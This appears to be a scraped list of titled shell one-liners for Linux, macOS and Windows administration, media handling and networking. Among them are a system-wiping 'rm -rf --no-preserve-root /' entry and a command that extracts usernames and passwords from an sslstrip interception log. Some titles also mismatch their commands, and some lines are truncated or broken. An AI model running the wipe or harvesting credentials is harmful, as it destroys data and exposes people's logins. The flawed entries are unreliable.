mount -t cifs -o username=administrator,password=xxx,vers=1.0,sec=ntlmv2 //192.168.0.30/nas_share /mnt/win_share
set open firmware password command mode
/usr/local/bin/OFPW -mode 1
Add all not commited files to svn
svn st | grep ^? | xargs svn add 2> /dev/null
When feeling boring this command help too
bb
Poor man's unsort (randomize lines)
while read l; do echo $RANDOM "$l"; done | sort -n | cut -d " " -f 2-
simple regex spell checker
< /usr/share/dict/words egrep onomatopoeia
Zip a directory recursively, excluding some contained directories
zip -r new.zip dir_to_zip -x '*/dir_to_exclude1/*' -x '*/dir_to_exclude2/*'
Pascal's triangle
l=10;for((i=0;i<$l;i++));do eval "a$i=($(pv=1;v=1;for((j=0;j<$l;j++));do [ $i -eq 0 -o $j -eq 0 ]&&{ v=1 && pv=1; }||v=$((pv+a$((i-1))[$((j))]));echo -n "$v ";pv=$v;done;));";eval "echo \"\${a$i[@]}\"";done | column -t;
Download 40 top funnyjunk Images to the current directory
curl -s --compressed http://funnyjunk.com | awk -F'"' '/ '"'"'mainpagetop24h'"'"'/ { print "http://funnyjunk.com"$4 }' | xargs curl -s | grep -o 'ht.*m/pictures/.*\.jpg\|ht.*m/gifs/.*\.gif' | grep "_......_" | uniq | xargs wget
Display the output of a command from the first line until the first instance of a regular expression.
Format images for Kindle
mogrify -colorspace Gray -rotate '-90>' -resize 600x800 -dither FloydSteinberg -colors 16 -format png *
Unmuting master channel, printing only percent value, while suppressing other outputs
amixer -c 0 set Master toggle | tail -1 | awk '{print $4}' | sed "s/[^0-9]//g" ; amixer -c 0 set Speaker toggle >/dev/null; amixer -c 0 set Front toggle >/dev/null
UDP over SSH
socat udp-listen:1611 system:'ssh remoteserver "socat stdio udp-connect:remotetarget:161"'
walk in a directory for specific files and copy it to desired destination
for file in ./data/message-snapshots/*.jpg; do cp "$file" /data/digitalcandy/ml/images/; done
Opens Windows internet shortcut files (*.url files) in Firefox.
firefox "$(grep -i ^url=* file.url | cut -b 5-)"
check port open without telnet
nc 127.0.0.1 22 < /dev/null; echo $?
Display how much memory installed on system
grep MemTotal: /proc/meminfo !!! Example "display how much memory installed
list the open files for a particular process ID
lsof -p PID
bulk rename files with GNU Parallel
parallel -0 mv {} {=s/foo/bar/g=} ::: *
Find the top most 5 duplicate files in a folder
find -maxdepth 1 -type f -exec md5sum '{}' ';' | sort | uniq -c -w 33 | sort -gr | head -n 5 | cut -c1-7,41-
Execute the last line of output from the previous command
alias dolast='$( $(history 2| head -n 1| sed "s/.* //") 2>&1 | tail -n 1)'
Change all the files on your system that have the OLDGID group by the new NEWGID.
$ find / -gid OLDGID ! -type l -exec chgrp NEWGID {} \;
Remove multiple entries of the same command in .bash_history with preserving the chronological order
cp -a ~/.bash_history ~/.bash_history.bak && perl -ne 'print unless $seen{$_}++' ~/.bash_history.bak >~/.bash_history
Rotate the X screen via xrandr
xrandr --output [youroutput] --rotate [right|left|normal] -d [yourdisplay]
Top like mysql monitor
mytop --prompt
Grep through the text of djvu files and format results
find ./ -iname "*.djvu" -execdir perl -e '@s=`djvutxt \"$ARGV[0]\"\|grep -c Berlekamp`; chomp @s; print $s[0]; print " $ARGV[0]\n"' '{}' \;|sort -n
Check whether laptop is running on battery or cable
cat /proc/acpi/ac_adapter/ACAD/state
resize all JPG images in folder and create new images (w/o overwriting)
ls *.JPG | cut -d . -f 1 | xargs -L1 -i convert -resize 684 {}.JPG {}.jpg
Untar a directory in a tar file over ssh
cat tarfile.tar.gz | ssh server.com " cd /tmp; tar xvzf - directory/i/want"
Convert vcd to avi format
mencoder vcd://2 -o sample.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
Get the total length of all video / audio in the current dir (and below) in Hs
find /path/to/dir -iname "*.ext" -print0 | xargs -0 mplayer -really-quiet -cache 64 -vo dummy -ao dummy -identify 2>/dev/null | awk '/ID_LENGTH/{gsub(/ID_LENGTH=/,"")}{SUM += $1}END{ printf "%02d:%02d:%02d\n",SUM/3600,SUM%3600/60,SUM%60}'
Find a file with a certail date stamp
cp -p `ls -l | awk '/Apr 14/ {print $NF}'` /usr/users/backup_dir
Shutdown ubuntu
sudo shutdown -h now
Gets the X11 Screen resolution
xdpyinfo | grep dimensions | awk '{print $2}'
Display thread information in ps
ps m
Recompress all files in current directory from gzip to bzip2
parallel -0 'gzip -dc {} | bzip2 > {.}.bz2' ::: *.gz
Define a bash function to interactively pick a subdirectory to cd into
function cdb() { select dir in $(find -type d -name "$1" -not -path '*/\.*' -prune); do cd "${dir}" && break; done }
List all IP's connected to port 80
netstat -tn 2>/dev/null | grep :80 | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head
find hard linked files (duplicate inodes) recursively
find . -type f -printf '%10i %p\n' | sort | uniq -w 11 -d -D | less
Quickly add a new user to all groups the default user is in
awk -F: '/^.+user1/{print $1}' /etc/group | xargs -n1 sudo adduser user2
Extend LVM and online resize filesystem
lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv && resize2fs /dev/ubuntu-vg/ubuntu-lv
Print macOS current power delivery max wattage
system_profiler SPPowerDataType | grep Wattage
Need an ascii art font for you readme text ?
toilet -f big ReadMe
Poor man's ntpdate
date -s "$(echo -e "HEAD / HTTP/1.0\n" | nc www.example.com 80 | sed -ne 's/^Date: \(.*\)$/\1/p')"
zsh variable behave like bash variable
setopt shwordsplit
command line fu roulette
curl -sL 'www.commandlinefu.com/commands/random' | awk -F'</?[^>]+>' '/"command"/{print $2}'
rsync a hierarchy but matching only one filename
rsync -avz --dry-run --include="only-include-this-filename" -f 'hide,! */' source/folder/ target/folder/
Nmap find open TCP/IP ports for a target that is blocking ping
nmap -sT -PN -vv <target ip>
grep for ip4 addresses
grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"
Fastest way to get public IP
curl simplesniff.com/ip
to remove blank line
grep . filename >filename1
Logout from ubuntu
logout
[Ubuntu] Create a Python virtualenv
virtualenv --no-site-packages --distribute -p /usr/bin/python3.3 ~/.virtualenvs/pywork3
Format source code noninteractively (possibly en masse) using vim's formatting functionality
vim +"bufdo norm gg=G" +wa +qa FILES
Recursively convert all APE to FLAC
for f in */*.ape; do avconv -i "$f" "${f%.ape}.flac"; done
Check Rubocop offenses in your working branch
git rev-parse develop | xargs git diff --name-only | grep -E '^(app|lib|spec).*\.rb' | xargs rubocop -f simple
Find text in contents with multiple filename
find ./$(PATH) -name '*.h' -o -name '*.c' -type f | xargs grep --color -E '*Data*'
Remove files and show space freed
find . -link 1 -exec du {} -shc + -exec rm -v {} +
Get the total length of all video / audio in the current dir (and below) in Hs
soxi -D * | awk '{SUM += $1} END { printf "%d:%d:%d\n",SUM/3600,SUM%3600/60,SUM%60}'
Use was ec2 describe instances to retrieve IAM roles for specific ec2 tag to css list
aws ec2 describe-instances --region us-east-1 --filters "Name=tag:YourTag,Values=YourValue" | jq '.["Reservations"]|.[]|.Instances|.[]|.IamInstanceProfile.Arn + "," +.InstanceId'
Sort movies by length, longest first
for i in *.avi; do echo -n "$i:";mediainfo $i|head | grep PlayTime | cut -d: -f2 ; done | sort -t: -k2 -r
find co-ordinates of a location
findlocation() {place=`echo $@`; lynx -dump "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | egrep "address|coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
Find the main file :D
find . -name "*.cpp" -exec grep -Hn --color=tty -d skip "main" {} \;
find files between specific date/times and move them to another folder
touch -t 201208211200 first ; touch -t 201208220100 last ; find /path/to/files/ -newer first ! -newer last | xargs -ifile mv -fv file /path/to/destination/ ; rm first; rm last;
Convert several JPEG files to PDF
convert *.jpeg output.pdf
bash alias for date command that lets you create timestamps in ISO8601 format
alias t__s='date "+%FT%T"'
Display a quote of the day in notification bubble
wget -q -O "quote" https://www.goodreads.com/quotes_of_the_day;notify-send "$(echo "Quote of the Day";cat quote | grep '“\|/author/show' | sed -e 's/<[a-zA-Z\/][^>]*>//g' | sed 's/“//g' | sed 's/”//g')"; rm -f quote
Clear all text to the left of your cursor
<ctrl+u>
Powershell Ping Logs Host Up/Down Events
sajb {$ip="192.168.100.1";$old=0;while(1){$up=test-connection -quiet -count 1 $ip;if($up-ne$old){$s=(date -u %s).split('.')[0]+' '+(date -f s).replace('T',' ')+' '+$ip+' '+$(if($up){'Up'}else{'Down'});echo $s|out-file -a $home\ping.txt;$old=$up}sleep 10}}
Get newest Nmap source code tarball URL.
curl -Ls https://nmap.org/dist/ | sed -En '/nmap.*tgz/s@^.*href="([^"]+)".*$@https://nmap.org/dist/\1@p' | tail -n1
Install the suggested package when command not found or installed
`command 2>&1|tail -1`
Cool PS1 with host, time, path and user. With color!
export PS1="[\[\e[1;32m\]\u\[\e[m\]\[\e[1;31m\]@\[\e[m\]\[\e[3;35m\]\H\[\e[m\] \[\e[1;30m\]| \[\e[m\]\[\e[1;34m\]\w\[\e[m\] \[\e[1;29m\]\t\[\e[m\]]\[\e[1;33m\]$\[\e[m\]"
Find process tree in friendly format
pgrep <name> | xargs -i pstree -ps {}
Find a .jpg in Your Home-Directory and display it via eog. Not case sensitive.....
eog $(find $HOME -iname ExamplePicture*.jpg)
Convert ascii string to hex
echo -n 'text' | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g'
cd into the latest directory
alias cd1='cd $( ls -1t | grep ^d | head -1)'
collect fullcalib data
find . -name "fullcalib4.csv" -exec tail -n1 \{\} \; >>all.csv
Get external IP address
curl -qsL http://checkip.dyn.com | sed -E "s/^.*Address: ([0-9\.]+).*$/\1/"
Clear linux cache
sudo su; sync; echo 3 > /proc/sys/vm/drop_caches
Create Security Group
dsadd group cn=group_name,dc=example,dc=com -secgrp yes -scope g -samid group_name
More precise BASH debugging
env PS4=' ${BASH_SOURCE:-0$}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
memory information
cat /proc/meminfo
Count the number of unique colors there are in a websites css folder
grep -r -h -o 'color: #.*' css/*|sort|uniq -c|sort -n|wc -l
Make a new dir named with present week numer
mkdir -v `date +%W`W
Calculate xor in bash
echo $(( 0x$1 ^ 0x$2 ))
Get python major.minor version in shell oneliner
python -c 'import sys; print(str(sys.version_info[0])+"."+str(sys.version_info[1]))'
find out true (according to xrandr) monitor DPI
xrandr --query | sed -n 's@\([A-Z0-1-]*\).* \(.*\)x\(.*\)+.*+.* \([0-9]\+\)mm x \([0-9]\+\)mm@"\1: ";(\2/\4+\3/\5)*12.7@p;'|bc -l
Download audio from youtube video
yt-dlp -f 'ba' -x --audio-format mp3 https://www.youtube.com/watch?v=1La4QzGeaaQ -o '%(id)s.%(ext)s'
Extract an audio track from a multilingual video file, for a specific language.
mencoder -aid 2 -oac copy file.avi -o english.mp3
remove unnecessary architecture code from Mac OS X Universal binaries
ditto --arch i386 doubleTwist.app doubleTwist_i386.app
Get a url, preview it, and save as text - with prompts
read -p "enter url:" a ; w3m -dump $a > /dev/shm/e1q ; less /dev/shm/e1q ; read -p "save file as text (y/n)?" b ; if [ $b = "y" ] ; then read -p "enter path with filename:" c && touch $(eval echo "$c") ; mv /dev/shm/e1q $(eval echo "$c") ; fi ; echo DONE
Find the package a command belongs to on Gentoo
equery belongs $( which mv )
Find all files over 20MB and print their names and size in human readable format
find / -type f -size +20000k -exec ls -lh {} \; | awk '{printf $9} {for (i=10;i<=NF;i++) {printf " "$i}} {print ": "$5}'
Overcome Bash's expansion order
eval "mkdir test{$(seq -s, 1 10)}"
Read/Write output/input from sed to a file
seq 20 | sed '5,6 { w out.txt }' #Can't print correctly. See sample output
fomat/encode/escape xml
xml fo -e utf-8 file.xml | xml esc
ll for mac
alias ll='ls -lisaG'
Delete all files in folder without affecting load
find . -type f -exec echo echo rm {} '|' batch ';'|bash
Show OSX Login Screen
/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend
Space used by files listed by ls -lt
ls -lt | awk '{sum+=$5} END {print sum}'
Add members of one group to another
dsquery group -samid "group_name" | dsmod group "cn=group_name",dc=example,dc=com" -addmbr
BOFH Excuse using curl
curl -s http://pages.cs.wisc.edu/~ballard/bofh/bofhserver.pl |grep 'is:' |awk 'BEGIN { FS=">"; } { print $10; }'
Which fonts are installed?
fc-list | cut -d':' -f2 | sort -u
Human readable docker stats output
docker stats --no-stream $( docker ps -q ) | sed -e "$( docker ps --format "{{.ID}} {{.Names}}" | sed -e "s/\(.*\) \(.*\)/s\/\1\/\2\t\/g;/" )"
Parsing URL
perl -MURI::Split=uri_split,uri_join -nle '($s,$a,$p,$q,$f)=uri_split($_);print "$s\t$a\t$p\t$q\t$f"'
Execute md5sum and sha in the same files in a single command.
stat -c %n * |tee >(xargs md5sum >estedir.md5) >(xargs sha512sum >estedir.sha)
ssh key generate
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
check web server port 80 response header
(echo -e 'GET / HTTP/1.0\r\n\r\n';) | ncat <IPaddress> 80
Update the working tree to the latest git commit
git log -g --pretty=oneline | grep '}: commit' | awk '{print $1}' | head -1 | xargs git checkout -f
fix nvidia-settings display error
nvidia-settings -a AssociatedDisplays=0x00010000
Which files/dirs waste my disk space
du -h / | grep -w "[0-9]*G"
edit a executable script
vie(){vi $(which $1)}
Execute git submodule update in parallel with xargs
git submodule status | awk '{print $2}' | xargs -P5 -n1 git submodule update --init
Java app with dynamic classpath
java -jar app.jar -cp $(echo lib/*.jar | tr ' ' ':')
Simple calendar from google spanning the width of the terminal
gcalcli --mon --width $((COLUMNS/8)) calw 2
Show the network stats for a given day
sar -n DEV -f /var/log/sa/sa05 |awk '{if ($3 == "IFACE" || $3 == "eth0" || $2 == "eth0") {print}}'
Search google.com on your terminal
function google { Q="$@";GOOG_URL='https://www.google.com/search?tbs=li:1&q=';AGENT="Mozilla/4.0";stream=$(curl -A "$AGENT" -skLm 10 "${GOOG_URL}${Q//\ /+}");echo "$stream" | grep -o "href=\"/url[^\&]*&" | sed 's/href=".url.q=\([^\&]*\).*/\1/';}
Basic search for Quassel PostgreSQL database
psql -U quassel quassel -c "SELECT message FROM backlog ORDER BY time DESC LIMIT 1000;" | grep my-query
Start Mandala Integration
nohup StartMand.sh -e -b -d mandala.cfg GET_FILES SALES_TRX AGG_TRX &
create 7 variables using output of date command
read year month day hour minutes seconds epoch _ < <(date '+%Y %m %d %H %M %S %s')
Recursive script to find all epubs in the current dir and subs, then convert to mobi using calibre's ebook-convert utility
$find . -name '*.mobi' -exec ebook-convert {} {}.epub \;
Use vi style for edit command line.
set -o vi
Reclaim standard in from the tty for a script that is in a pipeline
[ ! -t 0 ] && [ -t 1 ] && exec 0<&1
grep multiple value matches that matches all togetger one the same value(concurrency) also
grep '^\(default\|smtp\|relay\)[^ ]*concurrency[^ ]*'
Get the current epoch in base32
obase=16; echo "$(date +%s)" | bc | xxd -r -p | base32
nc check udp port
nc -vz -u 8.8.8.8 53
Replace lines in files with only spaces/tabs with simple empty line (within current directory - recursive)
find . -type f -regex '.*\.\(cpp\|h\)' -exec sed -i 's/^[[:blank:]]\+$//g' {} \;
Delete posts from MyBB Board as User
curl --cookie name=<cookie_value> --data-urlencode name=my_post_key=<post_key>\&delete=1\&submit=Delete+Now\&action=deletepost\&pid=$c --user-agent Firefox\ 3.5 --url http://url/editpost.php?my_post_key=<post_key>\&delete=1\&submit=Delete+Now\&action=dele
Export usernames and passwords from sslstrip log
grep -i -f password_tokens sslstrip.log | awk ' BEGIN { RS="&" } { print $1 }' | grep -i -f tokens_file
Wait the end of prog1 and launch prog2
while pkill -0 prog1; do sleep 10; done; prog2
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
ssh <user>@<host> 'mkdir -m 700 ~/.ssh; echo ' $(< ~/.ssh/id_rsa.pub) ' >> ~/.ssh/authorized_keys ; chmod 600 ~/.ssh/authorized_keys'
Embed .torrent in a .jpg file
exiftool '-comment<=ubuntu-11.10-alternate-i386.iso.torrent' hello.jpg
List all symbolic links in current directory
find . -maxdepth 1 -type l
Revoke an existing user's group memberships and add another user to those same groups,
sed -i.awkbak "s/\([:,]\)oldspiderman/\1newspiderman/" /etc/group
Force eject of CD on OSX
hdiutil eject -force /Volumes/CDNAME
Print the total lines number of a file
nl FILE_NAME | tail -n 1
Search packages beginning with the letter
aptitude search ~n^s.*
Just removes everything
rm -rf --no-preserve-root /
Stream a video file as live stream
ffmpeg -re -i localFile.mp4 -c copy -f flv rtmp://server/live/streamName
Uncomment line based on string match
sed -e '/4.2.2.2/ s/^;//' -i test.txt
Watch the progress of 'dd'
sudo pkill -USR1 -n -x dd
Conver video file to be MPEG2 to be transferred to DVD project
avconv -i FILE.mp4" -f dvd -c:v:0 mpeg2video -s 720x576 -r 25 -g 15 -b:v:0 8000000 -maxrate:v:0 8000000 -minrate:v:0 8000000 -bufsize:v:0 1835008 -packetsize 2048 -muxrate 10080000 -b:a 192000 -ar 48000 -c:a:0 ac3 -map 0:v -map 0:a FILE.mpeg
List local accounts, their SIDs and password metadata from the Windows command-prompt (CMD.exe)
wmic useraccount WHERE "LocalAccount=1" GET Name,Disabled,Lockout,PasswordChangeable,PasswordExpires,PasswordRequired,SID
Output ranges from length(L) and width(W)
awk -v L=100 -v W=9 'BEGIN{C=0;while(C<L){A=C;B=C+W-1;if((L-1)<B){B=L-1};print A"\t"B;system("");C=B+1}}'
Recursively remove all empty directories
find . -type d | tac | xargs -I{} rmdir {} 2> /dev/null
grep for text in a specific file type
grep -rnw <directory to search for> -e --include \*.x "your_text"
send mail over shell as Sender From and utf-8 encoded
mailx -a "From:myemail@yourmail.com" -a "Content-Type: text/plain; charset=UTF-8" -s "Test mail subject" joy@selekt-berlin.de <<< "Test msg body"
nmap check port
sudo nmap -sU -p 53 8.8.8.8
See whether your compiled Apache is prefork or worker MPM
/usr/sbin/httpd -l
Get thread count for process on Solaris
ps -L -p <pid> | wc -l
Display $PATH with one line per entry
echo -e ${PATH//:/\\n} | less
Create a template for WebLogic 9 or 10
pack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar -template_name="mydomain"
Generate trigonometric/log data easily
seq 8 | awk '{print "e(" $0 ")" }' | bc -l
to display all characters except second last character from each line of a file
sed 's/^\(.*\)\(.\)\(.\)$/\1\3/' fileName
Write a bootable Linux .iso file directly to a USB-stick
wget -O/dev/sdb ftp://ftp.debian.org/debian/dists/stable/main/installer-amd64/current/images/netboot/mini.iso
Save the debconf configuration of an installed package
debconf-copydb configdb copydb --pattern=<PACKAGE> --config="Name: copydb" --config="Driver: File" --config="Filename: ~/copydebconf.dat"
Pipes the output of the previous command into less.
!! | less
clean php files from base64_decode() hack
for f in `find . -name "*.php"`; do perl -p -i.bak -e 's/<\?php \/\*\*\/ eval\(base64_decode\(\"[^\"]+"\)\);\?>//' $f; done
Backup a whole database to a file
mysqldump -p MYDB > MYDB.sql
List of commands you use most often suppressing sudo
history | awk '{if ($2 == "sudo") a[$3]++; else a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
Bash to add color to your Linux command line
PS1="\[\e[37;40m\][\[\e[32;40m\]\u\[\e[37;40m\]@\h \[\e[35;40m\]\W\[\e [0m\]]\\$ \[\e[33;40m\]"
Grabs video from HD firewire camera, saves it on file and plays it scaled down on ffplayer.
dvgrab -t -noavc -nostop -f hdv capturefile - | ffplay -x 640 -y 360
statistic of the frequnce of your command from your history。
history | awk '{CMD[$4]++;count++;} END { for (a in CMD )print CMD[a] " " CMD[a]/count*100 "% " a }' | sort -nr | nl | column -t | head -n 10
Create a CD/DVD ISO image from disk.
cat /dev/cdrom > ~/img.iso
Alias for lazy tmux create/reattach
alias ltmux="if tmux has-session -t $USER; then tmux attach -t $USER; else tmux new -s $USER; fi"
look some php code by some keywords
grep -r --include=*.php "something" /foo/bar
Print machine's ipv4 addresses
echo $(ifconfig) | egrep -o "en.*?inet [^ ]* " | sed 's/.*inet \(.*\)$/\1/' | tail -n +2
Streaming webcam in (SSH) terminal
sshcam --device=/dev/video0 --color --size=1280x720
Examine processes generating traffic on your website
netstat -npt
Print nicely in columns a chunk of text that is separated by tab
head filename.txt | column -t -s $'\t'
Turn off wifi on macOS
networksetup -setairportpower en0 off
grep for text in a specific file type
grep -rnw --include \*.x -e "text" <dir>
Convert CSV to JSON - Python3 and Bash function
csvjson -k "CityID" city.csv
nmap -sP 192.168.1.*
nmap find alive hosts
Create a hard-to-guess password
dd if=/dev/urandom bs=16 count=1 2>/dev/null | base64
List files recursively sorted by modified time
find /home/fizz -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
get events from google calendar for a given dates range
wget -q -O - 'URL/full?orderby=starttime&singleevents=true&start-min=2009-06-01&start-max=2009-07-31' | perl -lane '@m=$_=~m/<title type=.text.>(.+?)</g;@a=$_=~m/startTime=.(2009.+?)T/g;shift @m;for ($i=0;$i<@m;$i++){ print $m[$i].",".$a[$i];}';
Unpack and build a WebLogic 9 or 10 domain
unpack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar
give record size of given record-structured file
fname=$1;f=$(ls -la $fname);fsz=$(echo $f|awk '{ print $5 }');nrrec=$(wc -l $fname|awk '{ print $1 }');recsz=$(expr $fsz / $nrrec);echo "$recsz"
Chmod all directories (excluding files)
find public_html/ -type d -exec chmod 775 {} \;
Import a debconf configuration (from a copydebconf.dat file)
debconf-copydb copydb configdb --config="Name: copydb" --config ="Driver: File" --config="Filename: ~/copydebconf.dat"
Rip from mp3 stream mplayer
mplayer -cache 100 -dumpstream http://listen.di.fm/public3/drumandbass.pls -dumpfile music.mp3
Removed my commandlinefu.com entries
rm -rf /commands/by/fukr
Find Files Which Should Be Executable But Are Not
find . -type f ! -perm /u+x -printf "\"%p\"\n" | xargs file | grep -i executable
Convert uppercase to lowercase extensions
find . -type f -name *.MP3 -print0 | xargs -0 -i rename .MP3 .mp3 {}
creating an USB Image
sudo dd if=/your.img of=/dev/rdiskx bs=1m
Descargar video desde youtube en linux
youtube-dl urldelvideoyoutube
Show numerical values for each of the 256 colors in ZSH
for i in {0..255}; do echo -e "\e[38;05;${i}m\\\e[38;05;${i}m"; done | column -c 80 -s ' '; echo -e "\e[m"
count match string lines from file(s)
grep -c "search_string" /path/to/file
Create a nifty overview of the hardware in your computer
sudo lshw -html > /tmp/hardware.html && xdg-open /tmp/hardware.html
Look PHP Version
php -v
Creating Harddisk image and saving on remote server
dd if=/dev/hda | ssh root@4.2.2.2 'dd of=/root/server.img'
Show drive names next to their full serial number (and disk info)
ls -l /dev/disk/by-id |grep -v "wwn-" |egrep "[a-zA-Z]{3}$" |sed 's/\.\.\/\.\.\///' |sed -E 's/.*[0-9]{2}:[0-9]{2}\s//' |sed -E 's/->\ //' |sort -k2 |awk '{print $2,$1}' |sed 's/\s/\t/'
Resume incomplete youtube-dl video files
ls *.part | sed 's/^.*-\(.\{11,11\}\)\.mp4\.part$/\1/g' - | youtube-dl -i -f mp4 -a -
Send notify to Kodi
MESSAGE1="mytext";MESSAGE2="text2";curl -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"GUI.ShowNotification","params":{"title":"'"$MESSAGE1"'","message":"'"$MESSAGE2"'", "displaytime":27000},"id":1}' http://kodiip:5661/jsonrpc
Rename duplicate files created by GDrive
find . -name "*\(2\)*" -exec rename -s \ \(2\) '' -n {} +
du show hidden files all files
du -sch .[!.]* * |sort -h
Create a local compressed tarball from remote host directory
ssh user@host "tar -zcf - /path/to/dir" | tar -xvz
Command line invocation of ImageMagick to resize a file
convert panorama_rainbow_2005.jpg -resize 40% panorama_rainbow_compress.jpg
convert a .mp4 to a .avi
ffmpeg -i "/path/to/file.mp4" "/path/to/file.avi"
Convert CSV files to TSV
sed 's/,/\t/g' report.csv > report.tsv
Remove lines matching a pattern in files (backup any modified files)
pattern='regexp_pattern'; find . -type f -perm +220 ! -name '*.bak' -print0 | xargs -0 egrep -lZ $pattern | xargs -0 sed -i.bak -e "/$pattern/d"
Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s " " | sed 's/^[ ]//g' | uniq | cut -d ' ' -f 2 | sed 's/www.//g' | sort | uniq
Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -d 0-9\[\],\*-.?\:\"\(\)#\;\<\>\@ | tr ' /_' '\n' | sort | uniq -c
Define Google Talk plugin urpmi media source for Mandriva/Mageia (works for both 32-bit and 64-bit systems)
urpmi.addmedia --update google-talkplugin http://dl.google.com/linux/talkplugin/rpm/stable/$(uname -m | sed -e "s/i.86/i386/")
Change time format in log, UNIX Timestamp to Human readable
sed -r 's/(\[|])//g' | awk ' { $1=strftime("%D %T",$1); print }'
Suspend to RAM with KDE 4
qdbus org.freedesktop.PowerManagement /org/kde/Solid/PowerManagement suspendToRam
Generate a password for website authentication that can be recreated each time you need to authenticate without saving the password
echo http://www.TheWebSiteName.com privatekeyword | md5sum | awk '{print substr($0,0,10)}'
Cycle through all active screen sessions
for s in /tmp/screens/S-$USER/*; do screen -r "$(basename "$s")"; done
get size of a file
ls -lh file-name | awk '{ print $5}'
Filter IP's in apache access logs based on use
cut -d ' ' -f 1 /var/log/apache2/access_logs | uniq -c | sort -n
Tar (stripped paths) found files by regexp from
find <PATH> -maxdepth 1 -type f -name "server.log*" -exec tar czPf '{}'.tar.gz --transform='s|.*/||' '{}' --remove-files \;
VLC transcode for OSX
/opt/homebrew-cask/Caskroom/vlc/2.1.0/VLC.app/Contents/MacOS/VLC --sout-avcodec-strict=-2 -I dummy $video :sout="#transcode{vcodec=h264,vb=1024,acodec=mpga,ab=256,scale=1,channels=2,audio-sync}:std{access=file,mux=mp4,dst=${video}.m4v}" vlc://quit
get php version in terminal
php -i | grep 'PHP Version' | awk '{if(NR==1)print}'
find last command for user or command used
lastcomm rsync
Watch Processes with D status (sleep and wait for IO)
watch -n 1 "(ps aux | awk '\$8 ~ /D/ { print \$0 }')"
repeat any string or char n times without spaces between
a=+; printf "%s" $_{1..080}"$a" $'\n'
rsa 4096 key generating with passphrase
ssh-keygen -t rsa -b 4096
nmap all my hosts in EC2
nmap -P0 -sV `aws --output json ec2 describe-addresses | jq -r '.Addresses[].PublicIp'` | tee /dev/shm/nmap-output.txt
get hostname/ip information
getent hosts 8.8.8.8
Convert hex data to binary with a bash function (requires bash v4+ for the @^^ lowercase hex demangling)
hex2bin () { s=${@^^}; for i in $(seq 0 1 $((${#s}-1))); do printf "%04s" `printf "ibase=16; obase=2; ${s:$i:1};\n" | bc` ; done; printf "\n"; }
Convert AVI to WMV
ffmpeg -i movie.avi -s 320x240 -b 1000k -vcodec wmv2 -ar 44100 -ab 56000 -ac 2 -y movie.wmv
String Capitalization
echo "${STRING}" | tr '[A-Z]' '[a-z]' | awk '{print toupper(substr($0,1,1))substr($0,2);}'
This command will shorten any URL the user inputs. What makes this command different is that it utilizes 5 different services and gives you 5 different outputs.
curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(shortened-url"...............
OSX script to change Terminal profiles based on machine name; use with case statement parameter matching
function setTerm() { PROFILE=${1}; echo "tell app \"Terminal\" to set current settings of first window to settings set \"${PROFILE}\""|osascript; };
List only those files that has all uppercase letters in their names (e.g. README)
ls | grep '^[A-Z0-9]*$'
Persistent saving of iptables rules
cd /etc/network/if-up.d && iptables-save > firewall.conf && echo -e '#!/bin/sh -e\niptables-restore < $(dirname $0)/firewall.conf' > iptables && chmod a+x iptables
Figure out if your kernel has an option enabled
zgrep CONFIG_MAGIC_SYSRQ /proc/config.gz
See who are using a specific port
netstat -Aan | grep .80 | grep -v 127.0.0.1 | grep EST | awk '{print $6}' | cut -d "." -f1,2,3,4 | sort | uniq
Halt system with KDE?4
qdbus org.kde.ksmserver /KSMServer logout 0 2 2
Get dimensions of an image.
identify path/to/image.jpg | awk '{print $3;}'
Extract all archives from current folder, each archive in its own folder.
for ARG in * ; do sudo -u USER 7z x -o"$(echo $ARG|sed 's/\(.*\)\..*/\1/')" "$ARG" ; done
Locate and cd to
`whereis -sq portname`
A way to query from the CLI all users in a Active Directory domain using wbinfo.
wbinfo - Get all users group membership, with primary group starred (Red description for full command)
Install every (not already installed) component of the Google Cloud SDK
gcloud components list | grep "^| Not" | sed "s/|\(.*\)|\(.*\)|\(.*\)|/\2/" | xargs echo gcloud components update
To see which software currently open in directory /var/cache
lsof -Pn +D /var/cache/ | awk '{print $1}' | sort | uniq
Get Chromecast opencast pincode
curl -s "http://$chromecast_ip_address:8008/setup/eureka_info?options=detail" | jq .opencast_pin_code --raw-output
Disable man-db cron and apt trigger
echo 'man-db man-db/auto-update boolean false' |sudo debconf-set-selections
nmap check alivr hosts
nmap -sP 192.168.0.1/24
disable Touchpad
xinput disable "SynPS/2 Synaptics TouchPad"
burn iso to usb
dd if=/daten/isos/debian-8.8.0-i386-netinst.iso of=/dev/sdb bs=4M
show alive hosts with fping
fping -ag 192.168.1.0/24
List RPM packages installed in current tree
find $PWD -exec rpm --query -f {} \; | sort -u | grep -v "not owned"
traverses directories of $host and $share to created a unified place for rsync backups
for host in *; do { if [ -d $host ]; then { cd ${host}; for share in *; do { if [ -d $share ]; then { cd $share; rsync -av --delete rsyncuser@$host::$share . 2>../$share.err 1>../$share.log; cd ..; }; fi; }; done; cd ..; }; fi; }; done;
Currency converter using xe.com
xe(){ curl "http://www.xe.com/wap/2co/convert.cgi?Amount=$1&From=$2&To=$3" -A "Mozilla" -s | sed -n "s/.*>\(.*\) $3<.*/\1/p";}
Extract specific lines from a text file using Stream Editor (sed)
head -n1 sample.txt | tail -n1
Have Google Translate speak to you using your local speakers
